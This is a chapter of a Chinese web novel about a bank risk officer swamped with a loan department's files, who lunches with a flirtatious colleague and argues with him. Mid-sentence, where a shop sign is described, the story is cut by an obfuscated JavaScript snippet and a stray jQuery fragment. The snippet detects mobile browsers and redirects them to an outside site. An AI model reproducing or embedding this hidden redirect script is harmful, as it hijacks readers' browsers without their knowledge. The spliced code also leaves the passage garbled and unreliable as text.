门口传来一声闷响,蒋永昼从文件堆里抬起头,看见自己办公室的门前一团子黑影。

    还没等他开口,第二声撞击接踵而至。

    蒋永昼把钢笔一搁,起身走过去,手刚搭上门把,门自己开了。

    门外站着行政部的小钱,手里抱着一个纸箱,纸箱上摞了三层档案盒。

    小钱用肩膀顶开门,“蒋主任,个贷部的东西给您送来了,放哪儿?”

    蒋永昼侧身让开路,抬手扶了一下要掉的档案盒,“靠墙放着吧。”

    小钱把纸箱顿在地上,又颠颠跑出去。

    蒋永昼走到门口,看见外面还有七八个人,每人手里都抱着一大堆东西。

    “这什么情况?没人跟我说啊。”蒋永昼问。

    正要进门的信贷管理部小刘说:“是郭行长让送过来的,说是个贷部那边暂时停摆,所有未完结业务材料统一移交风险部蒋主任处。”

    蒋永昼觉得太阳穴突突跳了两下。

    几分钟后,蒋永昼的办公室变成了个贷部档案室。

    文件从茶几蔓延到沙发,从沙发铺到窗台,连他办公桌旁边那片空地上都堆了三摞。

    他环顾一下自己的办公室,感觉日子没法过了。

    手机在桌上震动,蒋永昼拨开面前一沓A4纸拿起手机,是南海大群里的消息。

    郭行长在群里@全体成员,说个贷业务是银行的生命线,不能因为个别人员的违法违规行为影响全行运转,风险部作为全行风控中枢,责无旁贷云云。

    下面齐刷刷一排“收到”,蒋永昼锁屏,心里回了个“去你妈的”。

    “叩叩叩”,门口又响起敲门声。

    蒋永昼怒火中烧地看过去,心想没完了是吧,结果门被推开,露出了王仰春幸灾乐祸的脸。

    “哟,蒋主任,你这……让人抄家了?”

    蒋永昼弯腰从地上捡起一份被踩了脚印的文件,“有事说事。”

    刚直起身子,蒋永昼就觉得脑门一凉,王仰春抬手不知道往他脑门上贴了个什么。

    “你干什么!!”蒋永昼咬牙切齿地把那东西撕下来,看到是一张黄色便签纸。

    便签纸上写着几行歪歪扭扭的字,笔画力透纸背,透着股江湖气:

    下班一个人去前东胡同!

    不许告诉别人!

    不然找人弄你!

    右下角画着一只张牙舞爪的美洲大蠊,怀里抱着一朵五瓣小花。

    蒋永昼盯着那只大蠊看了几秒,没忍住,笑了出来,“你是不是闲的?”

    “请叫我艺术家。”王仰春做了个浮夸的鞠躬手势,“怎么样,是不是画得很棒?那几根触须,有没有很传神?”

    “传神。”蒋永昼去桌上翻出自己的笔记本,把它夹了进去,“前东胡同是哪儿?”

    “就一胡同。”

    “……”

    “重点不是胡同!是胡同里新开了一家猪排店!听说绝了!开放式厨房,老师傅在你面前,亲自肢解猪猪,然后裹粉下锅,金黄酥脆,滋滋冒油。”王仰春打了个响指,“怎么样,感不感兴趣?”

    “感!”蒋永昼的喉结动了一下,“什么时候去?”

    “择日不如撞日?咱们现在就去,怎么样?”

    蒋永昼扫了一眼满屋的狼藉,眼神坚定道:“走。”

    上了车,蒋永昼把安全带拉过来扣好,然后就把头靠在车窗玻璃上。

    王仰春发动引擎,扭头看了蒋永昼一眼,又看了一眼。

    “又是老郭啊?”

    “嗯。”蒋永昼看着窗外沿街的写字楼一排排往后退,“战争已经到了白热化的阶段,不是他死就是我亡。”

    “那大概率好像是你亡。”王仰春把方向盘往左打了一圈,车子拐进主路。

    “一点情绪价值都没有吗?”蒋永昼转过头,无语地看着王仰春的侧脸。

    王仰春笑了一声,然后一本正经地转头看了蒋永昼一眼,“有,今天下班咱俩尾随他,给他一闷棍,套麻袋,扔工地水泥墩子里,怎么样?”

    “行,一会儿吃完猪排,我再敲一下细节。”

    王仰春笑着踩下油门,迈凯伦平稳地加速,车子拐进主路。

    过了一会儿,蒋永昼忽然开口:“刚才你进来之前,我随手翻了几份个贷部送来的资料。一打眼就是一堆问题。有一份经营贷,抵押物评估价虚高了至少三成,评估公司出的报告里,同一套商铺的估值比三个月前的续贷评估多了四百万。三个月,商铺又不是学区房,凭什么涨四百万?还有一份,借款人的流水一看就是做的,每个月固定日期固定金额进账,隔天就转走,连小数点后面的位数都一样。”

    王仰春看着前方路况,“你不早就知道个贷那帮人都什么样吗?”

    “我之前只是知道他们手脚不干净,但我没寻思能这么儿戏,造假都不走心。”蒋永昼转过来,朝着王仰春,“对了,还有一个暮光之城的项目,你知道么?”

    王仰春偏头看了他一眼,“什么城?”

    “暮光之城,一个高端养老社区,前几年广告打得铺天盖地,什么‘银发生活的诗意栖居’,什么‘让夕阳红过朝霞’,结果后来烂尾了。”蒋永昼摊了摊手,“刚才我又看见它了,盘活了,半年前在南海贷了五个亿。”

    “烂尾项目还能贷五个亿?”

    蒋永昼冷笑一声,“授信报告里写‘该养老社区项目定位清晰,区位优势明显,目标客群明确,未来现金流稳定可期。’”他揉了揉太阳穴,“那暮光之城离六莲山不远,每次我去我妈那儿都能路过,隔着车窗就能看到那片烂尾的楼,荒草长得比人都高,还盘活,鬼他妈盘活的,现在就是纯骗。”

    王仰春在红灯前踩下刹车,“那这些活你打算怎么办啊?”

    “我能怎么办。”蒋永昼靠在椅背上,“手底下那几个人,自己部门的活儿都指使不动,还让他们去查个贷部的烂账?别做梦了。”

    红灯跳成绿灯,王仰春踩下油门,他右手从方向盘上拿下来,轻拍两下蒋永昼的腿,“别怕,蒋茄子,有我呢,我帮你。”

    蒋永昼转过头看王仰春,王仰春正看着前方路况,他神色非常自然,就像是在说一件理所当然的事。

    蒋永昼把目光收回去,重新看向窗外,过了好一会儿才“嗯”了一声。

    前面就是前东胡同,王仰春车速放慢,刚拐进去,就看到远处一家店门口黑压压地排着一条长龙。

    队伍里有人举着手机对着店面拍照,有人手里攥着排队号,探头探脑地往前张望。

    王仰春把车开近了些,店门口一块手写的木牌挂在大门旁边:“猪排

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17687737|206245||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    限量供应,售完即止”。

    蒋永昼眼睛里的光灭了一半,“这怎么办?这排到吃完不得下午两点了?”

    王仰春也没想到能火爆成这样,他把方向盘往回打,结果连个停车位都没找着,“要不咱们……吃个别的?”

    蒋永昼没说话,看着猪排店的招牌,又咽了一下口水。

    没办法,也只能吃别的。

    王仰春开着车在附近兜了两圈,最后停在一家日料店门口。

    刺身拼盘、烤鳗鱼、天妇罗、茶碗蒸、一碗海鲜丼。

    王仰春点了一桌,但蒋永昼明显兴致缺缺。

    看着他这副食不知味的样子,王仰春端起松茸汤喝了一口,用碗沿遮住了自己疯狂上扬的嘴角,“龚大立那帮客户经理,真的被抓起来了?”

    “嗯。”蒋永昼夹了一块鳗鱼放进嘴里。

    “那他们这样的,现在是不是辞职都辞不了?”

    “当然辞不了,他弄丢了那么多银行资产,不扒他一层皮都算给他面子了。”蒋永昼的筷子在刺身拼盘上方悬了一下,没夹任何东西,又放了下来,他长长地叹了口气,“柳氏的大窟窿,加上个贷部这些蛀虫,今年的年终奖,算是没戏了。”

    王仰春放下筷子,靠在椅背上,“你去年年终奖发多少啊?”

    蒋永昼的表情从刚才的麻木切换到了高度警觉,“你能不能有点边界感?怎么还打听上司的薪资了呢?”

    “咱俩还要什么边界感。”王仰春把手肘撑在桌上,笑眯眯地看着他,“开多少?我听听。”

    蒋永昼瞪了他一眼,“不告诉你。”

    王仰春勾了勾嘴角,“我可听说了,柳氏的事,行长震怒,之后有可能降薪呢,窟窿让全行一起背。”

    蒋永昼把筷子放在桌上,“凭什么?”

    “凭南海是个大family。”王仰春说。

    蒋永昼无语地摇了摇头,他端起茶杯喝了一口,又放回去,“要真降薪,我就不干了,要整死谁啊?干好几个部门的活儿,还要降薪。”

    话音未落,王仰春的手就开始摸兜。

    先摸西装外套的口袋,又摸裤子口袋。

    “你找什么呢?”蒋永昼夹了块刺身。

    “我找名片呢。”

    “什么名片?”

    “就上次远瞻王总给的那张。”王仰春没有找到,“你可以去远瞻,那儿薪资待遇比南海好。”

    “你可快拉到吧,说起那事儿我就来气。”蒋永昼推了下眼镜,“什么人呐,居然还能当着人家面挖人墙角,这多亏就是挖人,这要是相中谁家男朋友了,说不定什么样呢。”

    王仰春脸上的笑意瞬间没了,他盯着蒋永昼,“蒋永昼,你说什么呢?”

    蒋永昼对上王仰春的目光,“我说什么了?”

    “你认识她吗?你就这么说她?”王仰春的声音是少有的冷冽,“她做什么了让你这么评价她?”

    蒋永昼愣住了,他不知道王仰春的火气从何而来。

    “你根本不了解她,你也不了解她的生活、她的选择、她经历过什么。”王仰春的声音压得很低,“你凭什么用那种话去议论一个你不认识的女人?”

    蒋永昼呆愣愣地看着王仰春。

    王仰春冷着脸站起来,“你先吃吧,我出去抽根烟。”